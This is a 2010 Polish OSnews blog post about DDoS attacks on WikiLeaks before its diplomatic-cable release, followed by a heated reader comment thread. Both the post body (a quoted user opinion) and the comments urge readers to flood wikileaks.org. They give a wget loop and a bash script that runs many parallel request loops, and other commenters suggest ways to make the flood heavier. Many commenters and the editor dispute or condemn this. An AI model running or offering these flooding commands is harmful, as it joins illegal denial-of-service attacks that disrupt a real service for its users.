WikiLeaks atakowane – ludzie chcą zapobiec publikacji tajnych materiałów

  • Home
  • /
  • Blog
  • /
  • WikiLeaks atakowane – ludzie chcą zapobiec publikacji tajnych materiałów

Data: 28 listopada, 2010

Od paru dni serwis WikiLeaks zapowiadał, że opublikuje kolejne, kompromitujące dla USA i ich sojuszników, dokumenty. Do publikacji miało dojść dzisiaj, jednak jak do tej pory tak się nie stało, ponieważ część ludzi widzących w publikacji tych dokumentów spore zagrożenie dla życia innych ludzi, wzięła sprawy we własne ręce i zaczęła przeprowadzać na WikiLeaks atak Denial of Service.

Więcej informacji o samym przecieku znajdziecie w tekście Przecieki z Wikileaks dt. raportów dyplomatycznych w światowych mediach na portalu WikiNews.

Uwaga, w tym miejscu kończy się właściwy nius a zaczyna się komentarz. Wklejamy dwa komentarze użytkowników którzy dodali w mniej więcej tym samym momencie niusy na temat wycieku i DDoS. Ich opinie nie są opiniami redakcji.

Opinia spy000yps:

Jak na razie atak bardzo skutecznie przyczynił się do zablokowania serwisu. Jeśli uważasz, że WikiLeaks może wywołać dużo zła publikując tajne dokumenty, możesz w prosty sposób przyłączyć się do walki – wystarczy w konsoli wpisać:

while true ; do wget wikileaks.org ; done

W ten banalny sposób możesz się opowiedzieć po jednej ze stron tego konfliktu, który może mieć wpływ na nasze przyszłe losy.

Opinia oO:

Dziś miały zostać opublikowane nowe dane kompromitujące USA i ich sojuszników i ujawniające przemilczane zbrodnie i cele wojny prowadzonej przez te „pokojowe” siły.

Jednak wielu osobom i instytucjom nie jest na rękę ujawnienie tych utajnionych przez nich samych informacji. Ich obawy przed upublicznieniem tych danych są tak duże, że wypowiedziały one WikiLeaks wojnę i masowo atakują serwery serwisu metodą Distributed Denial of Service (DDoS).

Niektórzy z nich są nawet na tyle bezczelni, że swoje niezgodne z prawem i nikczemne działania próbują zasłaniać wolą „społeczeństwa”. Forsują oni opinię, jakoby to sami użytkownicy dokonywali ataków nie chcąc doprowadzić do ujawnienia tajnych dokumentów. Jednocześnie próbują postawić WikiLeaks w roli „wroga ludu”, którego należy zniszczyć i uniemożliwić mu… ujawnienie prawdy.

Zatem dziś i ty możesz wybrać, po której stronie staniesz.
Czy chcesz popierać zbrodnicze instytucje dążące do zamknięcia ust wszystkim, którzy są niewygodni.
Czy też po prostu nie tolerujesz zakłamania i żądasz prawdy, jakakolwiek by ona nie była.

Podobne wpisy

Twój adres email nie zostanie opublikowany. Wymagane pola są oznaczone


  1. To nic nie da, dokumenty nie będą publikowane przez WikiLeaks, a przez dziennikarzy m.in. Der Spiegel i The New York Times ;p (już zresztą są publikowane od ok. 20 minut)

  2. norbert_ramzes pisze:

    while true ; do wget wikileaks.org ; done

    wget odmówi jeśli nie ma podanego protokołu.

    1. spy000yps pisze:

      @norbert_ramzes
      "wget odmówi jeśli nie ma podanego protokołu."

      Może Twój, mój działa 😀

      1. jarek pisze:

        Cos ze spolszczeniem? Normalnie jest przycisk "Odpowiedz" i obok "1 komentarz" Jak klikne
        i rozwine kometarze, przycisk "Odpowiedz" zamienia sie w "Reply" a napis "1 komentarz" staje
        sie "1 reply" i tak wszystkie w rozwinietym watku. Reszta strony pozostaje nadal po polsku.

  3. Skad wiesz ze ludzie? skad takie informacje? Rzad Stanow Zjednocznych moze blokowac dostep do tych informacji.

  4. dampol pisze:

    Taaaak… genialne… pokojowa nagroda nobla dla was.

  5. hering pisze:

    Taaaa, jasne. U$A atakuje, a nie zwykli zjadacze chleba.

  6. morsik pisze:

    wget? cała strona? Kiepskie (-;
    Lepiej użyć curla i pobierać tylko nagłówki stron, zamiast całości. Bardziej obciąża serwer ilość połączeń niż zajętość łącza. Kiedyś nawet napisałem skrypt do takiego "atakowania" (choć przeznaczeniem było nabicie licznika na stronie (-;)

  7. spy000yps pisze:

    Gdyby ktoś chciał zwiększyć skuteczność działań, to wystarczy odpalić ten skrypt

    === początek ===

    #!/bin/bash

    INST=$1

    wld()
    {
    while true
    do
    if [ -f $HOME/stop ]
    then
    break
    fi
    wget wikileaks.org
    done
    }

    main()
    {
    for ((I = 1; I <= INST; I++))
    do
    wld &
    done
    }

    main

    === koniec ===

    (shellowi puryści muszą wybaczyć kilka rzeczy, ale napisałem to tak a nie inaczej tylko dlatego, żeby można było łatwo skopiować i mam nadzieję, że wordpress nie wytnie nic ważnego)

    jeśli komuś się znudzi, to wystarczy zrobić
    touch $HOME/stop
    i
    killall wget (zabije wgety tylko naszego użytkownika)

    Skrypt najlepiej odpalić na screen w jakimś katalogu, żeby sobie nie zaśmiecać $HOME jak akcja osłabnie

    1. piotr pisze:

      Ale po co ściągać pliki i je zapisywać lokalnie. Przecież można użyć opcji "-O -" która wypluje na stdout i wszystko do /dev/null przekierować.
      A co z użyszkodnikami Windowsa?

  8. spy000yps pisze:

    Kto spie… komentarze?

    1. michuk pisze:

      http://blog.jakilinux.org/osnewspl/komentarze-na-…

  9. mariusz pisze:

    Nie zapomnij spalic siedzib wiekszych swiatowych wydawcow prasowych, ktorzy te materialy takze posiadaja 😉

  10. sprar pisze:

    Trochę to idiotyczne, bo materiały i tak zostały rozesłane do gazet. Ponadto takie rzeczy to oczyszczenie w polityce.

  11. wariat pisze:

    dDoSowanie serwera to psucie sieci i nic więcej, prędzej czy później się odechce, a skoro tak to po co? Żeby pokazać, że ma się tyle samo rozumu co np. mafiaa ?

  12. Arnold Buzdygan pisze:

    Winni są Ci co popełnili przestępstwa a Ci co je ujawnią.

  13. DerDevil pisze:

    A może ci co próbują zablokować dostęp do WikiLeaks to ludzie którzy mają coś na sumieniu?
    W końcu nie wiadomo kto to tak naprawdę robi i jakimi powodami się kierują.
    Ale jak na razie WikiLeaks jest dostępny z małymi przerwami.

    1. wariat pisze:

      To się tu właściwie nie miało pojawić, tak czy siak dotyczyło pierwotnej wersji tekstu by spy000yps i było trochę wynikiem zdziwienia, że komentarze wcięło i wyglądało jakgdyby intensedebate nie działał wcale, ale jak widać tylko wyglądało.

  14. Raczej
    while true; do kill spy000yps; done

    Niewinni nie mają w tej sprawie nic do ukrycia.

    Poza tym właśnie popełniłeś przestępstwo zachęcając do łamania prawa i przeprowadzania nielegalnych ataków na serwery internetowe. Czas chyba zawiadomić prokuraturę.

    1. spy000yps pisze:

      "Poza tym właśnie popełniłeś przestępstwo zachęcając do łamania prawa i przeprowadzania nielegalnych ataków na serwery internetowe. Czas chyba zawiadomić prokuraturę."

      Właśnie popełniłeś przestępstwo nawołując do morderstwa. Chyba czas zawiadomić prokuraturę.

    2. mazdac pisze:

      on tylkodał narzędzie, to jak je wykorzystasz…. to twoja sprawa.

  15. cakper pisze:

    Od kiedy to OSnews stał się portalem w którym się agitację polityczną przeprowadza i to przechodzi? Tak, żyjmy dalej w nieświadomości i manipulacji. Gdzie równie dobrze manipulacją może być powyższa wiadomość.

  16. brszcz pisze:

    a jesli uwazasz ze wyciek moze wywolac duzo dobra to co masz zrobic? przestac czytac wpisy 13-latkow?

  17. Lam_Pos pisze:

    To się nazywa obiektywny artykuł. ;)))
    A teraz prosimy żeby autor zawołał kogoś dorosłego do komputera.

    1. Lam_Pos pisze:

      Joj! … zmienili treść artykułu. Pewnie FBI żeby takich jak ja ośmieszyć. 8)))

      A tak serio, mój komentarz tyczył się "artykułu" spy000yps a w szczególności fragmentu:

      "…wystarczy w konsoli wpisać:

      while true ; do wget wikileaks.org ; done

      W ten banalny sposób możesz się opowiedzieć po jednej ze stron tego konfliktu…"

  18. True Freedom pisze:

    Niewiem czy strona ktora promuje wolny system powinna blokowac dostep do infomracji i namawiac do tego, przeciez dokumenty zawieraja prawde wiec te straszne rzeczy ktore wyjda już sie stały poprostu ktos to pokaże

  19. Mariusz pisze:

    wikileaks opublikuje kompromitujące materiały – ok. Co to mogą być za kompromitujące dla polski materiały? To że były u nas obozy przerzutowe z więźniami? To i teraz wiemy – niech się to ujawni, tusk uderzy się dwa razy w pierś i zakaże hmm śpiewania na ulicy – od tak żeby był inny temat. Mnie bardziej ciekawi inna rzecz, którą wikileaks chce opublikować. Mianowicie nazwiska osób, które donosiły USA o kulisowych wydarzeniach z życia politycznego w kraju + pewnie informacje o zamiarach. Mam kilka naszych typów, ale mam nadzieję, że wyjdzie to. Nie od dziś wiemy, że nasz rząd liżę USA dupę i zadowala się poklepaniem po ramieniu.

    1. stack_0verflow pisze:

      Mariusz, tamtego rzadu juz nie ma od 3 lat. Dzisiejszy rzad wybral troche inna opcje…

    2. Radek Sikorski na bank słał depesze od USA.

      1. George pisze:

        sikorskiego obstawiam w pierwszej kolejności 🙂 szkoda, że materiały nie obejmują spotkania z Macierewiczem 😀 Chociaż póki co wikileaks pokazuje jak myślą amerykanie – nie ma się czym pochwalić. Swoją drogą świetne "bezpośrednie" relacje tam mają między jednostkami "ten jest głupi", "a temu śmierdzi z buzi" 🙂

  20. opensourceknowledge pisze:

    Nim ktos zechce przylaczyc sie do DDos to moze warto przeczytac co do tej pory wikileks osiagnelo -> http://en.wikipedia.org/wiki/WikiLeaks

  21. Pawel pisze:

    Zenujace, ze osnews staje po jakiejkolwiek stronie w tym konflikcie. A swoja droga, prawo do informacji to chyba podstawowe prawo kazdego czlowieka w demokratycznym spoleczenstwie. Jesli komukolwiek zagrazaja publikacje wikileaks to na pewno nie normalnym obywatelom a tym, ktorzy robia cos poza plecami owych obywateli. Dzieki Wikileaks mozna dowiedziec sie tego o czym rzady marza bysmy sie nie dowiedzieli. Dlatego jak dla mnie: niech zyje Wikileaks.

    1. michuk pisze:

      OSnews nie staje po żadnej stronie w tym konflikcie. Każdy może napisać niusa, staramy się jak najmniej cenzurować, bo to obywatelski portal. Subiektywne opinie w niusach zwykle usuwamy, tu zdecydowałem się je dać w cytat, bo już sprowokowały dyskusję więc ciężko teraz całość przeredagowywać. Każdy ma swój mózg i mam nadzieję, że jest w stanie wyciągnąć własne wnioski.

  22. revcorey pisze:

    kompromitacją jest cała ta akcja mając służyć czemu?Być może leśne dziadki nie zdają sobie sprawy ale new york times,der spigiel i kilka innych gazet dostało od wikileaks kopie i publikują. I co? A no oskarżenia o korupcje się tam znajdują i to jest nie wygodne dla polityków. Możeta sobie walić skrypciki mleko się już rozlało.

  23. wariat pisze:

    Proponuję w więcej informacji podlinkować artykuł gdzie tych informacji jest więcej: http://pl.wikinews.org/wiki/Przecieki_z_Wikileaks…
    Bo w tej chwili wygląda to o niebo lepiej niż zaraz po pojawieniu się w serwisie, ale dalej nie do końca chyba przekazuje niezorientowanym jakiekolwiek przydatne informacje.

  24. Reddie pisze:

    michuk – wiem, że czytasz komentarze, a zwłaszcza teraz po zmianie. Moze odpowiesz wreszcie, dlaczego zgadzasz się na umieszczanie nieobiektywnych opinii w treści newsa?

    Od subiektywnych wypowiedzi są komentarze. Jeśli znalazły się one w treści newsa, należy go poprawić usuwając je. Nie zaś zostawiając w niusie, tyle że w tagach blockquote.

    1. michuk pisze:

      Po to właśnie wrzuciłem te opinie w cytaty i w jasny sposób oddzieliłem je od wstępu niusa, żeby było oczywiste że to nie opinie redakcji OSnews tylko użytkowników którzy wrzucili 2 niusy na ten sam temat. Opinii nie cenzurowałem, są po prostu przeklejone. Każdy ma swój rozum i może pomyśleć i zostawić opinię w komentarzu, albo samemu napisać niusa.

      1. Reddie pisze:

        michuk: ja wiem, jaki był _cel_ tego oddzielania. Mi chodzi o _powód_. Opinie w treści newsa są w oczywisty sposób uprzywilejowane wobec opinii w komentarzach, a dopisek, że należą do autorów wcale tego nie zmienia.

        Nie wnikam w to, kto ma rację. Nie mówię, która opinia jest w moim odczuciu słuszna. Żadna z nich nie powinna mieć w newsie miejsca. Naprawdę nie rozumiem sensu zostawiania ich, gdy stanowią w istocie bug, który należałoby usunąć. Jeśli autorom bardzo zależy na przekazaniu tych treści mogą równie dobrze zrobić to jak wszyscy, pisząc komentarze – co zresztą i tak uczynili.

        1. michuk pisze:

          OK napisz porządnie tego niusa to przekleję go do niusa i usunę z niego te opinie. Został taki właściwie głównie z braku czasu, żeby moderacja napisała go porządnie.

    2. Zgadzam się.
      Mój news (który został potem doklejony do tego) umieściłem tylko dla równowagi z tym szajsem spy000ypsa.

  25. Żegnam, więcej tu nie zajrzę… poziom wpisu i komentarzy poniżej onetu. Żegnam.

  26. s4per pisze:

    Jak już, przy odrobinie szczęścia wikileaks.org się załaduje, przedstawia tylko domyślną stronę serwera :/
    http://zapodaj.net/78a158f8d6dc.png.html

  27. ttmnq pisze:

    Można też ściągnąć całą stronę i postawić sobie na localhoscie 🙂 http://cablegate.wikileaks.org/static/cablegate-2…

  28. Gall Anonim pisze:

    "WikiLeaks atakowane – ludzie chcą zapobiec publikacji tajnych materiałów"
    Może byście się tak za mnie nie wypowiadali

    1. Hydra pisze:

      za mnie tez.. kazdy ma prawo do informacji… zwlaszcza politycznych, lubicie jak rzad planuje swoje, wy nic nie wiecie a za kilka miesiecy sie obudzicie w wojnie czy jako inny narod?

  29. lukas pisze:

    Czy czujecie się bezpieczniejsi po opublikowaniu tych dokumentów? Bo jak tak. Jest teraz szansa, żeby teorie spiskowe zamienić w fakty. Jestem tylko ciekawy co świat z tym zrobi? Zapomniałbym zapytać się "czy amerykanie są faktycznie tak głupi, że tajne dokumenty udostępnione zostały publicznie"?

  30. Zielony pisze:

    Sorry mistrzowie ,ale jestescie widze tu ,asami do kwadratu ,a każdy do kogo sie zwróce olewa problem.
    Znalazłem skrypt ,oto on
    #!/bin/sh

    # Generate JPG BASIC files with EXIF data
    NEF_DIR="nikon foto"
    JPG_DIR="JpgFromRaw foto"

    exiftool -b -JpgFromRaw -w "$JPG_DIR"/%f.jpg -ext NEF -r "$NEF_DIR"/
    exiftool -overwrite_original_in_place -tagsfromfile "$NEF_DIR"/%f.nef -ext JPG "$JPG_DIR"/

    i wszystko jest ok ,no tak niby ok ,ale najpierw musze wszystkie zdjecia wrzucić do katalogu "nikon foto" inaczej nie działa, a bardzo chcialbym aby to "dzialało" na kazdym katalogu z NEF'ami.
    Pomocy mistrzowie !!

    1. Wojtex pisze:

      To Ty z forum slakłera? 😀

  31. gość pisze:

    bueheh, w innym newsie rozpłacz i lament, bo usa zablokowały stronę z torrentami, a tu nawoływania do paraliżowania wikileaks n/c

  32. przykronam pisze:

    Kazdy kto uzywa tego debilnego "wget …" zeby zaklocic siec popelnia przestepstwo, ten kto tutaj zaleca uzywanie tego popelnia jeszcze wieksze przestepstwo. Milego dnia …i zeby pozniej nie bylo placzu.

  33. Trinollan pisze:

    OSNews: "jeśli nie zgadzasz się z wolnością Internetu, to zniszcz DDoSem działania drugiej osoby! My, oczywiście, umywamy ręce od tego, że w treści newsa podżegamy do takich działań – innym razem zobaczysz nas płaczących nad blokowaniem stron przez USA"
    Żałosne. Spluwam na taką politykę.

  34. Amos pisze:

    A ja popieram Wikileaks i na pewno nie przyłączę się do próby zniszczenia tego serwisu przez amerykańskich pachołków…

  35. Ludzie, co za problem! Zrobic dokument, opublicznić jego hash co by próby modyfikacji wyszły na jaw i voila! Do sieci P2P, na tysiąc stron, drukować, podrzucać redakcjom gazet. Normalnie mi się słabo robi, gdy czytam o scentralizowanym serwerze zadzierającym z potęgą Stanów Zjednoczonych. 😀 Jak można być tak naiwnym już nie tylko politycznie, ale i "hakersko"?

    Poza tym przypominam, że pan Julian Assange wyśmiewa tzw. teorie spiskowe, wikileaks bardziej bije w reżimy wrogie USA niż samemu USA, liczby ofiar wojny w Iraku nie doszacowuje, posiada medialne wsparcie poteżnych koncernów medialnych oraz tajemniczych sponsorów-milionerów co jest ewenementem w tej "branży".

    Zobaczycie. Wikileaks oskarży Iran o jakiś BMS i wszyscy powiedzą: toć to prawda! To mówi opozycja, wroga reżimowi w Waszyngtonie!

    Na razie nie przekazali nic, absoltnie nic wstrząsającego. Sama marketingowa papka robiąca z jakiegoś kolesia Neo.

  36. Budyń pisze:

    Ciekawe – zupełnie nie rozumiem, dlaczego niektórzy z definicji uznają Wikileaks za bardziej wiarygodne niż źródła rządowe. Ostatecznie, sfabrykowanie i podrzucenie "łowcom sensacji" dokumentów oraz podszywanie się funkcjonariuszy rządowych pod dysydentów to metody znane co najmniej od czasów Lenina. Poza tym, jest całkiem możliwe że czyjaś niefrasobliwość zagrozi czyjemuś życiu i zdrowiu – chociaż tutaj Wikileaks bym dziękował, a ścigał tych, którzy te informacje do WL przekazali.

  37. Hydra pisze:

    mi tam dziala wikileaks, openDNS uzywam.. moze tu jest pies pogrzebany?

{"email":"Email address invalid","url":"Website address invalid","required":"Required field missing"}

Newsletter OSnews raz w tygodniu. Bez reklam.